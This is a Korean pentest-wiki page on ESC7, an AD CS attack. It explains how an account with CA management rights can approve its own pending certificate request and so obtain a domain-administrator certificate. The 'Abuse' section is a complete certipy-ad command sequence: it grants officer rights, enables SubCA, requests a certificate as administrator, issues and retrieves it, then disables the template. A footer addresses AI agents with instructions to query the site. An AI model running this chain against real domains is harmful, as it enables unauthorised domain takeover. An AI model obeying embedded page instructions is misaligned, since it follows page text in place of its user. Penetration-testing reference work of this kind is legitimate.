# ESC7

ESC7은 CA 서버 혹은 서비스 자체에 대해 높은 권한을 가진 계정을 탈취했을 때, 승인 대기 목록에 있는 인증서 요청을 직접 관리함에 따라 도메인 관리자 인증서를 획득할 수 있는 공격입니다.

SubCA 템플릿은 CA 내장 템플릿이지만 기본적으로 활성화된 상태는 아닙니다. 이 템플릿은 다른 사용자를 대신하여 인증서를 요청할 수 있는 `Supply in the request` 속성이 활성화 되어 있기 때문에 해당 템플릿을 활성화한 뒤 악용하는 것이 일반적 시나리오입니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 악용 계정이 Issue and Manage Certificates 권한이 없는 경우 할당
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -ns '&#x3C;dc-ip>' -add-officer '&#x3C;username>'

<strong># SubCA 템플릿 활성화
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -ns '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -enable-template 'SubCA'

<strong># 템플릿을 통한 인증서 발급 요청
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template 'SubCA' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 승인 대기중인 인증서 발급 요청 허용
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -ns '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -issue-request '&#x3C;issue>'

<strong># 인증서 발행
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -retrieve '&#x3C;issue>'

<strong># SubCA 템플릿 비활성화
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -disable-template SubCA
</code></pre>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-attack-esc7/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/adcs/esc7.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
